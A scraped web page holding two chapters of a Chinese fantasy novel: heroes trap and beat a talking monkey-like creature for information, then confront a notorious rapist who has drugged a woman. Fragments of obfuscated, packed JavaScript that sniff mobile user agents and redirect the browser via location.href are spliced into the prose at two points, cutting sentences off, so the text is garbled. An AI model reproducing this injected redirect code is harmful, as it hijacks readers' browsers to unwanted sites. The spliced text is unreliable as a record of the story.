龙烁和燕沐阳二人向东走出十几丈远,找了一个草丛茂密的地方蹲了下来。 二人见那净心小师傅背对着他们在半空中撕开了三个巴掌大小的矩形口子,里面景色各异,不知通往了什么地方。 龙烁见到两边的洞里临近傍晚,落日的余晖与此处无异,却分别呈现出山野和平原的景象,而中间的洞里却是黑夜,黑压压地什么也看不清楚。 那净心小师傅在北边的灌木丛后蹲了下来,静静观察。 “这净心小师傅还蛮聪明的,只给那狌狌撕开几个小口子,能窥视,却没法进去!”,龙烁低声道:“沐阳公子,待会你趁小狌狌往洞中窥探之时,就立刻上前将其擒住。” “好!” 过不多时,龙烁看到北边的一排灌木丛依次闪动,片刻之后,那小狌狌果然出现在了三个洞口面前。 它十分好奇地站在那里,思索了一会儿,向山野景色的那个洞口里不停地窥探,而另外两个洞口它却是一眼也不瞧。 龙烁暗想它专注于窥视其中一个洞口那是再好不过,沐阳公子的行动就更加不易被发现了。 燕沐阳轻轻一跃,期到那小狌狌身后,见它此时仍在专心地往洞口中观望,于是伸出右手去抓它肩头,然而那小狌狌的身子突然一斜,转过头来发现了他。 小狌狌先是一愣,随即说道:“你干嘛?” 龙烁见那小狌狌异常灵敏,也愣了,暗想这小狌狌难道会武功?怎么身法如此灵活! 燕沐阳面不改色,伸出左手向它胳膊抓去。 那小狌狌又是一闪,跳到了另一个洞口前面,说道:“你要抓我?嘿嘿,没那么容易!” 燕沐阳纵身一跃,飞到了它的身旁,未及落地,又伸手去抓那小狌狌的右脚,眼看便要抓到它的脚跟时却又被那小狌狌一闪而过。 小狌狌吐着舌头尖声叫道:“哈,你逮不着我,逮不着我,嘿嘿!” 只见那狌狌忽而东飞西跳,忽而蹿高伏低,燕沐阳紧随其后,身子始终离它不超过一尺,但是不管他怎么伸手,总能被那小狌狌轻轻巧巧地躲过,却是无论如何也抓它不到。 15. 好酒及色 这小狌狌不但跑得飞快,耳朵也十分灵敏,它就跟脑后长了眼睛一样,不用看就知道燕沐阳那雪白的手从哪个方位袭来。 燕沐阳始终抓它不到,便在一根粗壮的树干上停了下来。 他集中精力,默念口诀,右手一扬,催动了寒冰术。 小狌狌从树上跃下,回头观望,发现燕沐阳不再追它,咧嘴大笑道:“哈哈,放弃了吧?” 然而,它刚一转身,却“砰”地一下子撞到了一个极其寒冷坚硬的物事上。 那小狌狌脑袋吃痛,一阵眩晕,清醒过来后定睛一看,发现面前竟然出现了三根冰锥。 那冰锥上尖下圆,像芦笋一样从泥土中钻将出来。 小狌狌大惊,尖声叫道:“什么鬼!” 随即又有三根冰锥插到它身后的泥土中,将它包围起来了。 小狌狌这才明白原来是那白衣男子在捣鬼。 净心和龙烁见那小狌狌被困,立即现身相助。 小狌狌发现这几人要合力抓捕自己,不等他们赶到便"嗖"地一下子窜到了冰锥顶部,它纵身一跳,跃到了一丈地外,而后便飞快地向南逃跑! 冰锥接踵而来,虽然每次都能拦住那小狌狌的去路,却总能被它又飞快地爬上,而后跳到更远的地方。 几次反复,那小狌狌便不见踪影了。 燕沐阳从树上跃下,与龙烁和净心会合后,没有说话,只是微微摇了摇头。 净心垂头丧气道:“沐阳公子术法如此精湛,竟也难以将其擒获,这小狌狌真的是太难抓了!” “无妨,我还有一个办法,可以一试!”,龙烁道。 “什么办法?”,净心问道。 龙烁嘴角一扬,将腰间的酒葫芦取出来晃了晃,发现里面还有大半壶酒,说道:“还好,够用!我在《南中志》里读到过,狌狌好酒,不知真假,不妨一试!” “什么?喝酒?”,净心怀疑道:“龙大哥不是开玩笑吧!” “呵,我有那么无聊嘛!跟我来——” 龙烁带二人朝着小狌狌逃跑的方向一路走去,寻着它的踪迹来到了一条小山涧。 涧旁石壁干净圆滑,涧水自上而下潺潺流淌。 龙烁俯身喝了几口水,觉得这水清凉甘甜,大呼痛快,转身招呼二人过来喝水。 此时太阳已快落山,龙烁拨开壶盖,四下里撒了一些酒水,又将酒葫芦放到了涧边的石壁之上说道:“不如咱们暂时躲避,静观其变!” 净心道:“此处树木虽多,草丛却少,躲到哪呢?” 龙烁朝燕沐阳点了点头,燕沐阳便即会意,他纵身一跃,携着二人飞上了一棵茂密的大树。 三人以枝叶遮挡,静静地观察下面的动静。 一炷香的时间内,羚羊、角马、雄狮、猎豹和一些参加猎奇之争的英雄侠士陆续跑来喝水。 好在他们都离得较远,没有发现那酒葫芦,他们喝完水后便径自离去了。 过了一会儿,又有成群的飞鸟落到石壁之上,其中几只发现了这个酒葫芦,咚咚咚地啄了几下也不再理会。 忽而一声长啸,一只大鸟从落日的余晖前一闪而过。 龙烁见那大鸟的羽毛斑斓似虹,尾巴修长如电,失声叫道:“是凤——” 他“凰”字还未出口,却被燕沐阳突然捂住了嘴巴。 龙烁见燕沐阳正警觉地看向地面,于是低头查看,那小狌狌居然真的出现了! 只见它东一蹿西一跳地来到小山涧旁,抬着头四下眺望,它不住地嗅闻,似是在寻找什么。 那小狌狌沿着山涧一路向下,终于在一块石壁上发现了那个酒葫芦。 它不知那是何物,也不敢凑近,只是远远地打量。 过了一会儿,小狌狌见此物静止不动,便伸出手指戳了戳,那物什便如不倒翁一般摇晃了几下又停住了。 它将那物什拿在手中不住地嗅闻,突然发现顶部有一丝裂纹,它轻轻一拔,只听“喯”地一声响,小狌狌竟被吓了一跳,手中的物什也掉落下来。 那酒葫芦掉在地上,一些酒水撒将出来,随之扑面而来的是一阵更加浓郁的香气。 小狌狌大步上前,贪婪地嗅了一会儿这迷人的香味,然后大声喊道:“是谁将此物丢在了这儿,想用这些东西来诱惑我,想要抓我可没那么容易!” 它说完转身飞奔而去。 龙烁和净心见那狌狌识破机关,心下焦急,均欲起身追击。 燕沐阳立即将他二人按住,朝他们轻轻摇了摇头,又做个手势叫他们别出声。 过了一会儿,那小狌狌竟然又折了回来。 只见它围着那酒葫芦巡视了一圈,发现确实没人,便哈哈大笑着携着那葫芦在一个隐秘的大石头后面坐了下来。 它将盖子拔下扔在一旁,旋即大口大口地喝了起来。 “这狡猾的小狌狌!”,龙烁低声叹道。 不一会儿,三人远远地望见那小狌狌的身体摇摆了几下便倒在了地上,赶忙上前抓住了它。 净心从怀中取出了一根麻绳,把它的手脚都捆上了。 龙烁拾起被扔在一旁的酒葫芦,晃了晃,又倒了倒,发现那酒竟被小狌狌喝得一滴不剩,腾地一下火就上来了,气愤地说道:“你这个狡猾的小狌狌,这酒别名‘顷刻醉’,你喝一口就足够啦,竟然一点也没给我剩,我都舍不得喝呢,气煞我也!” 他走到那烂醉如泥的小狌狌面前,指着它道:“这样太便宜它了,把它绑在树上,屁股给我露出来!” “哦哦好!” 净心连忙又解开绳子,将小狌狌的身子竖起,面朝里地绑到了树上。 “哼!”,龙烁径自走到山涧旁将酒葫芦装满了水,又快步折回,将那满葫芦的凉水一股脑地泼到了那小狌狌的头上。 小狌狌的脑袋晃了两下,随即晕晕乎乎地睁开了眼,它见自己被紧紧地绑在树上,顿时清醒了过来,大叫道:“谁?谁?你们是谁?快放开我,不然叫你们好看!” “哎呀,你个小狌狌,大难临头还这么嚣张!”,龙烁嚷道:“为了抓你,我都浪费了一壶好酒!我问你,你怎么会说人话?” “切,我聪明呗,这几年总有你们这些愚蠢的人类进山来打猎,又总有一帮乌合之众想来抓我,所以我就学会啦!” 龙烁听他讥讽几人是乌合之众,也不生气,说道:“很好,那我再问你,你知道白泽在哪吗?” 小狌狌一惊,说道:“噢,原来你们是想从我这获取情报,我知道你们这次围猎的对象是白泽,不过可惜,我不知道——嘿嘿!” 它将“不知道”三个字说得格外响亮,似是在强调,又似在挑衅。 “不知道什么?” “什么都不知道啊!” 龙烁一听,不急反笑,说道:“那就再好不过啦,我正找不到理由揍你呢!”,他说着跑到一棵大树下,折了一根又粗又长的树枝下来,走到小狌狌身后,坏笑着将叶子一片一片地拔掉,制成了一根坚实的木棍。 那小狌狌害怕道:“你,你要干什么?你别乱来啊!” “我要干什么?”,龙烁坏笑道:“你这么聪明,我要干什么你自然清楚得很——我要你坚持说你自己什么都不知道——” “我说了啊,我不知道,我什么都不知道——” “哎,这就对啦!” 龙烁将那木棍高举过头顶,狠狠地朝那小狌狌的屁股上打了下来,将它本就红扑扑的屁股打出了一条更红的线。 小狌狌“啊”的一声大叫,屁股一阵热辣的疼痛,眼泪瞬间流了出来。 龙烁本欲再打,却被净心拦了下来。他以为净心是出家人,慈悲为怀,见不得这惨烈的画面,要自己收手,可是自己气还没有消,一时不知是继续还是停下。 只听净心说道:“哎呀,这小狌狌的屁股怎么这么不禁打,一棍下来就开了花!” 龙烁仔细一瞧,那左摇右晃的小屁股虽然是红了点,但是并没有开花,于是立刻领会了他的话中之意,说道:“啊,是呀,怎么这么嫩,一棍就开花,那两棍下来会不会就变成肉酱啦,一会儿咱们一起吃烤狌狌肉怎么样!”,他说着提起棍来便欲再打。 那小狌狌吓得大叫:“别,别打——” 净心却道:“善哉善哉!我虽是俗家弟子,但也算出家人,不能吃肉的!” 龙烁挥到一半的木棍顿时停在了半空中。 小狌狌脸现喜色,感激地看向净心。 龙烁道:“哎呀可惜啊,我吃一条腿就够了,那剩下的不是浪费了嘛!” 净心道:“我虽不吃肉,但是我们院中的老黄狗可爱吃啦!” 小狌狌吓得面无血色,颤声道:“什,什嘛?还要把我喂狗?” “那太好啦,我给它留下心、肝、脾、胃、肾,这些不但好吃,还很有营养呢!”,龙烁说着又将木棍高举过头顶。 小狌狌吓得“哇”的一声哭了出来,眼泪鼻涕一大把,却还是不改口。 龙烁见小狌狌仍是嘴硬,便说道:“别哭啊小狌狌,你坚持得非常好,咱们继续!” 他朝燕沐阳使了个眼色,随即将那粗长的木棍高高扬起,狠狠地挥了下来。 龙烁给燕沐阳使眼色,是要他拦住自己,做个老好人去安慰那小狌狌,这叫软硬兼施,合力攻心。 燕沐阳微微叹了口气,却还是按照他的意思举手拦住了他,说道:“别打了!” 小狌狌见这白衣男子语气轻柔,神若天君,知道他是好人,向他求饶道:“天君救我!” 燕沐阳缓步走到小狌狌身旁道:“你放心,我们不会伤害你,你去告诉白泽,让他藏起来,不要被人找到!” 龙烁暗想,这也是个好办法,既然大家都找不到,那就不存在什么央祸不央祸、害不害人的问题了。 他见净心也微微点头,便说道:“你给我老实点啊,只要你听话照办一切都好说!倘若你偏要继续跟我们作对,哼,我消了气,我的拳头可还没消气呢!” 那狌狌抹了一把鼻涕和眼泪,高兴道:“原来你们不是要抓它呀,哎,不用你们说,它也知道要藏好!这家伙捉迷藏玩得可好啦,连我都没见过!” “什么?” 龙烁道:“你是真的不知道白泽在哪?” “是呀!我说了我不知道!” “不知道你嘿嘿啥?” “不知道所以嘿嘿呀,一句话说完啦,就嘿嘿嘛!” 龙烁十分无语,又问道:“你什么都不知道,那你这个‘万事通’是怎么当的?” “你是不是傻,万事通的关键是这个‘通’,而不是什么都知道,我是不知道,不过我知道谁知道,笨蛋!” 龙烁直气得想要抡起拳头继续揍他。 净心拦下他道:“龙大哥消消气,你别跟它一般见识!” 龙烁忍住了不打,又喝道:“你这只死猴子,知道你为啥不说?” 小狌狌长叹一口气道:“你这个小白脸,你也没问我啊!” “我去你的——” 龙烁冲小狌狌的鼻子猛打一拳,打得它整个头来回摇摆了几下,鼻子瞬间流出了血。 龙烁还想再打,却又被燕沐阳拦了下来。 小狌狌大叫道:“天君救我!天君救我!” 燕沐阳冲龙烁摇了摇头,将小狌狌的捆绳解开了。 小狌狌并未逃走,而是躲在了燕沐阳身后,只露出一只眼睛,看龙烁有没有消气。 “小狌狌——”,净心说道。 “我有名字的,我叫飞飞——” “啊,飞飞!”,净心道:“那请你告诉我们,谁知道那白泽在哪?” “你们不是不想找嘛?怎么又要问!” “我们是不想找,可是这山里的千百余人都想找,我看那白泽是逃不掉的!倒不如我们先找到,去保护它——”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231112|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你说得倒好听,不过我看你们三个,除了这白衣天君之外都不是好人!” 小狌狌忽然躲到燕沐阳身后,不再出来了。 燕沐阳转过身来道:“你走吧,去告诉白泽,藏好即可!” “天君你这么说,我相信你就算真的找到白泽,也不会去伤害它!好吧,我可以带你们去找白泽,不过天君你也得帮我个忙!” “你这小猴子,怎么还讲条件!”,龙烁愤愤道。 “废话,没好处的事儿谁干呀!” “你——” 龙烁指着那小狌狌,想再教训他,却见燕沐阳眼光异样地看向自己,似是在问平常没见你这么容易生气,怎么今日如此冒失,于是说道:“沐阳公子,你别这样看着我,我跟这小东西命里犯冲,八字不合,我就是想揍他——” 燕沐阳没有理会,朝那小狌狌道:“你要我,帮你什么?” 小狌狌指着净心说道:“我看那个和尚似是会魔法,竟然能够穿越到别的地方!” “那叫矩纸穿行术!”,龙烁冷冷地道。 “啊,十几天前,山中地震,将我的小丽困在了一处断崖之上,请你让他帮我把我的小丽救回来!” “小丽是谁?”,净心问道。 “是我的前前前女友啊!” “前前前女友?”,龙烁道:“你到底交了几个女朋友?” “不多,也就十几个吧,我们关系都很好!” “嘿,我只知道你好酒,竟不知道你还这么好色!” “我是公的,在喜好上,跟你们男人没有任何区别啊!” “诶——你别拿我跟你比,我只好酒,不好色——” “切切,嘿,跟我撒谎有什么用,去跟你相好的说去!” “嘿,你这死猴子,你才几岁呀,这么小就学坏!” “哎呦喂,爱情还分年龄吗,我们猴子可没你们人类那么多的约束!”,小狌狌蹿到净心面前道:“你到底能不能帮我!” “这事很简单,你直接跟我说就行啦!”,净心笑道。 “你一会儿变成丑八怪,一会儿变成小男孩,又跟那个家伙一起吓唬我,可没给我留下什么好印象!”,小狌狌恨恨地道。 “呵呵,小和尚只是贪玩,没有恶意的,我在这里给你赔个不是!”,净心深施一礼道:“请问你的小丽在什么地方?” 小狌狌指着南方说道:“沿着这条山涧往南十五里,有一处断崖,我的小丽就在上面!她喜欢打扮自己,肯定就在山涧附近。” “啊,既然如此,我就顺着这条小山涧往南十五里的地方撕开一个洞口好了!” 净心将双手拢于胸前,食指相扣,口中兀自念了一个诀,随即面前似是出现了一张透明的纸,他将那纸由上而下地撕开,现出了一个三尺来长的洞。 小狌狌朝里面望去,见里面一望无际,一马平川,转过头来看着净心,怀疑道:“你有准没准?” 净心一看,十分不好意思道:“啊,对不起,再来!” 他将洞口堵上,又重新撕了一个口,旋即往里面瞧了瞧,说道:“这回没错了!” 小狌狌立即上前观望,见那条山涧在洞口前蜿蜒而过,确定是这里没错。 它窥视了一会儿便大叫道:“小丽——小丽——你在这么——小丽?” “飞飞?”,一个女子声音的小狌狌回应道:“是你吗飞飞?” 龙烁好奇那个小丽那么爱打扮自己,到底有多好看,却见一个毛发柔顺,身材肥胖的小狌狌突然从一棵大树后面蹿出,直奔洞口而来。 两个小狌狌在洞口相视而立,那小丽比飞飞大了将近两倍。 “飞飞,真的是你啊飞飞!”,那小丽喜极而泣,将飞飞一把拉过洞口抱在了怀里道:“我还以为再也见不到你啦——呜呜——” “是我啊小丽,真的是我,呜呜!” 飞飞也流下了眼泪。 那飞飞被小丽抱在怀里,像她的儿子一样,龙烁实在忍不住,噗嗤一声笑了出来。 小丽见洞口外站着三个人,问道:“飞飞,怎么有人?他们来抓你么?” “啊,不是不是,这三个人是我的好朋友,多亏他们帮忙,我才能找到你!” 飞飞从小丽身上跳下来,将小丽带出了洞口。 净心见两只小狌狌已经回来,便将洞口堵上了。 那小丽不明所以,跑到原来洞口所在的地方到处摸索,却是什么也没有,一时摸不着头脑,问道:“这是怎么回事?” “你别问那么多啦!”,飞飞指着山涧道:“你沿着这条山涧往上走十里,去一座石山后面,小青、小红、小莺、小燕她们都在那里,你先跟她们玩耍,我去办事,完了就回来找你们啊!” “哦哦,好!” 小丽十分听话地往山上奔去,走出十余丈后,回头看了一眼飞飞,又径自离去了。 飞飞几个飞吻过去,直到看不见小丽了才转过身来说道:“咱们走吧——” “看不出,你这个小猴子艳福不浅啊!”,龙烁冷冷地道。 “哎呀,酸死了!想要的话自己去找,别打我女朋友的主意!” “你这小猴满嘴胡说八道,看我不揍你——”,龙烁抡起拳头想去揍他。 小狌狌慌忙躲到燕沐阳身后道:“先说好啊,我带你们去找我的兄弟,问问它白泽到底在哪里,不过能不能找到全凭你们运气,到了三更,我是一定要回去的,不然我女朋友们生气了我可吃不消!” “哈!”,龙烁嘲笑道:“听你这语气,看来你没少挨揍啊!” “哼,打不过还跑不了吗?我那是让着她们,不跟她们计较——”,小狌狌道:“你脾气这么暴,肯定找不到女朋友,学着点吧你——” “你——” 龙烁气得一蹦三尺高,抡着拳头去追那小狌狌,一人一猴围着燕沐阳转圈,都叫嚷着谁也不让谁—— 16. 英雄救美 此时三人来到一处山崖,崖高千丈,崖壁陡峭光滑,下面是深不见底的河流,流水自东向西静静流淌,仔细聆听,东边山崖上水声轰鸣,似有湍急的水流不住敲打石壁,只是距离尚远无法看到。 龙烁暗觉这里地处河水的下游,其源头可能就在东首不远处。 他们沿着山崖边缘往下游走去,径自西行了一个时辰,地势逐渐平坦,山林却愈发茂密。 此时天色已黑,几人身上均未带火石火折,好在天上繁星点点,月光所照之处,明亮如水,几丈地内,尚可看清。 随着几人越走越深,林中光线越来越暗,山路逐渐变得崎岖难行,树木盘根错节杂乱无章,路面忽实忽虚凹凸不平。 龙烁的小腿被绊得青一块儿红一块儿地隐隐作痛,更有远处时不时传来的奇怪叫声,惹得他心中发毛头皮发麻,不自觉地想起红叶姑娘来,不知她此时此刻却是到了哪里! 想着想着,龙烁便忧虑起来,他觉得此地变化莫测危险重重,自己一个男子汉大丈夫,幸得有沐阳公子这样的高手从旁相助才能屡次化险为夷,红叶姑娘一个弱女子孤身前来这万兽山,实在令人担心! 他又想红叶既然叫我在万兽山中等她,就一定会想办法前来,可是又迟迟不出现,到底是何原因?难道她在赶来万兽山的途中遇到了危险,又或者被她母亲关了起来?如果真的是被母亲锁了起来那倒安全,倘若是在途中遇到了危险,那便如何是好? 思考半天,龙烁决定不管怎样,猎奇之争没结束前,还是要在此等候,如果她一直不出现,就请沐阳公子帮忙一起去找,务必确定她没有遇到危险才可放心! 行出二十多里路,忽听西首林中有婴儿的哭声传来,燕沐阳和净心停住了脚步向西观望,那里却是黑漆漆地什么也看不清楚。 龙烁奇道:“谁还带着婴儿来参加猎奇之争了?” “呵!” 小狌狌一声嘲笑。 “你笑什么?”,龙烁道。 “笑你没见过世面!那是九尾狐的叫声——” “九尾狐?”,龙烁奇道:“九条尾巴的狐狸?” 小狌狌还未答话,却见西首草丛中探出了一个白晃晃的小脑袋,龙烁定睛一看,果然是只狐狸。 那狐狸见几人都停住不动,眼睛眯成了一条缝,很自信地往前迈了一步,它整个身子便显露出来。 这小狐狸通体雪白,身子如兔子一般大小,尾巴却有很大的一团,似是一只狐狸宝宝。 龙烁细细一数,它的尾巴真的是有九条。 小狐狸往地下一坐,九条尾巴洋洋洒洒地在屁股后面四散飘扬,似是在向众人展示自己美丽的外表。 龙烁脸现喜色,想上前去摸它。 “呵!”,小狌狌又是一声嘲笑。 “你又笑什么?”,龙烁问道。 “没什么,它饿了!” “啊,你饿了啊,小狐狸?”,龙烁转过头来问净心道:“你那有馒头干粮什么的吗?” 净心摇了摇头。 龙烁道:“我这还有几个桃子,给你吃吧,小狐狸!” “呵!”,小狌狌又是一声嘲笑。 龙烁抬脚朝那小狌狌的屁股猛踢,却被小狌狌轻巧地躲开了,于是斥道:“你再发出怪声,以后别想再有酒喝了!” 小狌狌立时捂住了嘴巴。 龙烁从胸口的布袋中取出三个桃子扔到了那小狐狸面前,那小狐狸上前嗅了嗅却不去吃,只是吖吖地叫了几声又盯着众人看,龙烁问道:“怎么不吃呢?这桃子可甜了,你尝尝——” 他说着上前几步蹲了下来,伸手去捡那桃子打算喂它,却突然一下子被那小狐狸咬住了袖口。 一股大力猛地一拉,龙烁整个身子便被小狐狸拖行着钻入了草丛之中。 燕沐阳一怔,旋即快步上前,拨开草丛追了上去。 净心被眼前的一幕吓了一跳,见小狌狌咧嘴坏笑,便去瞧它。 那小狌狌忙收敛笑容道:“九尾狐只吃肉,是他不让我说的——” 净心大惊,失声叫道:“哎呀糟了,它不会想吃龙大哥吧——” 他立刻顺着他们留下的踪迹追了过去。 大约半炷香的功夫,净心终于在一座小山丘的后面找到了他们。 只见龙烁单膝跪地地擦拭着腿部被划出的伤口,燕沐阳静立在他身旁,而那只小狐狸吐着舌头倒在地上,它的尾巴断了一条,鲜血染红了周围的一小片青草。 “龙大哥,你没事吧?”,净心问道。 “啊,没事没事,只是擦破了皮!”,龙烁叹道:“这小狐狸想吃我,也不看有谁在保护我,呵呵!”,他说着朝燕沐阳看了看,意思是表示感谢。 燕沐阳神情冷峻,没有任何表情。 “没事就好,飞飞说那狐狸只吃肉,把我吓坏啦!” 小狌狌此时也跟了过来,见几人都没有什么事,嘿嘿地笑了两声。 龙烁自觉受了屈,埋怨道:“你这死猴子不安好心,此处树木茂密,道路阴暗,你带我们来这里干嘛?” “没办法,这儿叫土门坡,此地泥土松软,环境舒适,我朋友就喜欢住这里啊!” “你朋友到底是谁,不会是这只狐狸吧!” 龙烁踢了踢那小狐狸,它一动不动,又去探它鼻息,发现已然没气了,感叹它长得这么可爱,死了却也可惜! “不是,这家伙是个土皇帝,方圆十里的地下都是它的家,所以也比较难找!” “住在地下?是老鼠吗?” “不是,它叫小贝,见了你就知道了,这家伙可有个性啦,它——” 正在此时,忽听得东首隐隐传出一个女子虚弱的声音道:“求——求你——” 几人不知是谁在求助,立即前去查看。 他们绕过几棵大树,在一片灌木丛后面蹲了下来。 那小狌狌跟着几人一起过来,由于个子太矮,蹦着跳着怎么也看不到,干脆一股脑爬上龙烁的肩膀抬头张望起来。 龙烁默不作声地站在燕沐阳身旁,心里却想这小狌狌倒挺会找地方,怕弄脏燕沐阳的衣服便跑到了我的肩上,于是他伸手一推,想把它从自己身上推下来。 那小狌狌却灵活地一闪,身子仍是稳稳地站在龙烁的肩上。 龙烁怕闹出太大的动静,也就不再理会,跟着大家一起向前窥探起来。 只见前面有一棵粗壮的银杏树,一个身穿绿衣的女子衣冠不整地靠坐在树前,她外衣的纽扣已被解开,露出了里面白色的中衣。 由于光线黑暗看不清她的面貌,只听到她的呻吟之声不断传来。 那女子身前站着一个威武高大的黑衣男子,那男子背对着几人站在那女子面前,低声说道:“小声点,别被人听见,多来些更快活,要吗?” 那绿衣女子娇喘一声说道:“要,快——给我——” 那男子笑嘻嘻地脱下了外衣。 几人见这一对情人在此行那云雨之事,燕沐阳立即起身离开。 龙烁捂住了小狌狌的眼睛低声说道:“非礼勿视,走吧,走吧!”,他回头一看,净心正头也不敢抬地在那里双手合十道:“凡所有相,皆是虚妄,若见诸相非相,即见如来——阿弥陀佛,善哉善哉!” “别念经啦,快走吧!”,龙烁拉着他们往回走,小狌狌却挣扎着小声嚷道:“哎呀我再看会儿,再看会儿,我是狌狌,有什么打紧——” 龙烁赶忙捂住小狌狌的嘴巴,将它紧紧抱在怀里,拉着净心又回到了原来的山路上,却见燕沐阳已在前面等候,便喊道:“你怎么跑得这么快!” 燕沐阳面色依然冷峻漠然,耳根却红彤彤地,他皮肤白皙若雪,身上但凡有一点别的颜色都格外显眼。 龙烁还未说话,那小狌狌却调戏道:“怎么天君如此害羞,你是不是比我们多看到了点什么?不行,我都没看到啊,太亏了,我得再看看——” 见燕沐阳眉头微皱,龙烁嚷道:“去去,一边去!”,他抬脚去踢那小狌狌的屁股,那小狌狌屁股一扭兀自笑嘻嘻地躲开了。 龙烁见燕沐阳沉默不语,耳朵仍是红彤彤地,便说道:“窈窕淑女,谦谦君子,静谧幽林,春宵千金,人之常情也!沐阳公子,咱们走吧!” “嗯!” 忽听背后传来净心的吟诵之声,龙烁回头一看,他仍在那里默默背诵佛经,暗想和尚要一辈子去守那清规戒律,遇到这种事恐怕更是难以心静吧,便问道:“你背的这么熟练,那是什么经书?” “这是《金刚经》,是我师父教我背诵的,这经书只在佛教中流传,你没听过很正常,龙大哥你要是想学的话,我可以教你啊!” “好啊,那一句‘凡所有相,皆是虚妄,若见诸相非相,即见如来’,是何解?” “师父没说,我也不太懂啊!” “啊,不懂为什么还要背呢?” “师父说只要诵读千遍,自然就能领会其中深意啦!” “噢,那你已经诵读了多少遍啦?” “这是第七百五十六遍了!” “哇,你读了这么多遍,领会了多少啦?” “惭愧,净心愚钝,几乎一句也没搞懂,只大概知道,这经书记录了祖师释迦牟尼与众比丘开会时的盛况,是我们佛教的宗法!” “噢,原来如此!凡所有相,皆是虚妄,若见诸相非相,即见如来!”,龙烁默念着挠了挠头,说道:“我感觉这句话大有深意,只是一时不能明白,能否请你有空的时候把这《金刚经》默写出来给我,我回去好好参研参研——” “当然没问题!师父一生致力于宣扬佛法,普度众生!龙大哥有心研习,净心自然愿意效劳!” “啊,那太感谢了,咱们走吧!”,龙烁打了个响指,打算继续前行,却发现那小狌狌不见了踪影,便问道:“飞飞哪去啦?” “诶,我在这儿呐——” 龙烁一回头,见那小狌狌忽地从林中窜出,气喘吁吁地跑了过来,于是责问道:“你跑哪去啦?” “你们在这聊天,我就抽空去看那两人亲热呗!诶,我从来没见过你们人类亲热,跟我们真是大不相同,你们——” “诶——打住,别说了啊,这里没人想听!”,龙烁厌恶地斜睨那小狌狌道:“你这小狌狌,怎么行为这么卑劣,低俗不低俗啊——” 小狌狌啐了一口道:“有你们行为卑劣吗?不认识的两个人都可以亲热——呵,我低俗吗?那男的名字更低俗,叫什么糠粟,啧啧!” 龙烁一惊,问道:“陈糠粟?你听谁说的?” 燕沐阳也停下了脚步,净心却仍兀自念经。 “啊对对,那男的自己说的啊,他自我介绍,说自己叫陈糠粟!” 龙烁和燕沐阳心知陈糠粟是江湖上赫赫有名的采花大盗,小狌狌又说那两人互不相识,想来那女子定是被陈糠粟胁迫的了。 二人立即转身,赶回去救那女子。 净心见两人撇下自己径自离去,一时之间摸不着头脑,叫了一声也没人理会,便跟了上去。 龙烁和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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龙烁见陈糠粟来剑甚快,提剑挡隔的同时不住后退,右臂和胸口还是被划破了几个口子,鲜血瞬间从衣服的裂缝中流了出来。 燕沐阳快步上前,朝陈糠粟后背刺来,在即将要刺到他后心的时候,陈糠粟嘴角微勾,突然砰的一声响,不见了踪影,燕沐阳的剑尖直逼龙烁胸口而来。 见状,燕沐阳慌忙收剑,却已来不及,余力携着冰剑刺入了龙烁胸口的衣衫。 燕沐阳大惊,赶忙松开了手,那冰剑直直地插在了龙烁的胸前。他紧张道:“我来不及收手!你怎么样?” 龙烁以为自己胸口被刺穿,吓得睁大了眼睛不敢动弹,片刻之后发现并无痛感,身子往后一挪,发现胸前并无伤口,那冰剑仍是直直地停在半空中,剑尖却已消失不见,似是没入了另一个空间! 龙烁回头一看,净心的双手兀自停在胸前,原来刚才紧急关头,他及时施展矩纸穿行术,将龙烁胸前的一小片空间幻化成了一张透明的纸。 龙烁小心翼翼地撕开那张纸,发现原来冰剑刺入了里面的一棵大树上。 几人见此情景都大大松了一口气! 陈糠粟看到这惊人的一幕,在一旁现了身,他哈哈一笑,说道:“今日我陈糠粟大开眼界,见识了燕氏寒冰术和慈悲法师门下高徒的矩纸穿行术,果然是英雄出少年!还有这位公子!”,他指着龙烁说道:“你让我想起了我的一位故人!罢了,既然你们都不是平庸之辈,日后我或许还需要你们的帮助,那么今日我就不再跟你们计较!我就做个顺水人情,将那姑娘送给你们便了,嘿嘿,现在药力刚好,你们尽可享用——”,他说完便即隐身而去。 龙烁感觉像是在鬼门关前走了一遭,此时他手脚仍然酸软无力,又听那陈糠粟临走时说日后可能需要他们的帮助,气愤地道:“荒谬!要我们帮你?帮你欺负良家少女吗?呸!你这恶贼最好不要再让我们见到,不然我见一回杀一回——” 他此时才感到之前的剑伤带来的疼痛,却仍是坚持着转身朝净心躬身施礼道:“净心小师傅,多谢你相救!” “不必客气,龙大哥吉人自有天相,你没事吧?”,净心上前查看龙烁的伤势,燕沐阳则取出金疮药帮他敷在伤口上。 忽然,龙烁看到燕沐阳的背后,那郦师姐突然扑将过来,忙喊道:“小心——” 燕沐阳微一闪身,那郦师姐便扑了空,她身子一歪,正正地倒在了龙烁的怀中。 龙烁见她头发散乱,脸颊潮红,双手兀自有气无力地在自己胸口处摸索,口中不断喊着“求你”“帮我”云云,于是赶忙将她手腕牢牢锁住道:“对不起啊,这我可帮不了你!” 燕沐阳捡起那郦师姐散落在地的衣服掷了过来,龙烁伸手接过给她披上,将她小心扶起,护着她稳稳站立。 那郦师姐却如同骨头散了架一样,身子一歪,又倒在了龙烁的怀里。 龙烁不知如何是好,朝燕沐阳说道:“这怎么办?她刚才是向你扑过来的,要不,你帮帮她?” 燕沐阳瞪视龙烁一眼,旋即转身而去。 突然间,四下里忽地窜出七八个人影,都是身穿绿衣手持佩剑的年轻人,其中两人手中高举火把,火光照亮了附近一大片的山路。 几人将他们包围起来,一女子剑指龙烁道:“淫贼,快放了我师姐!” 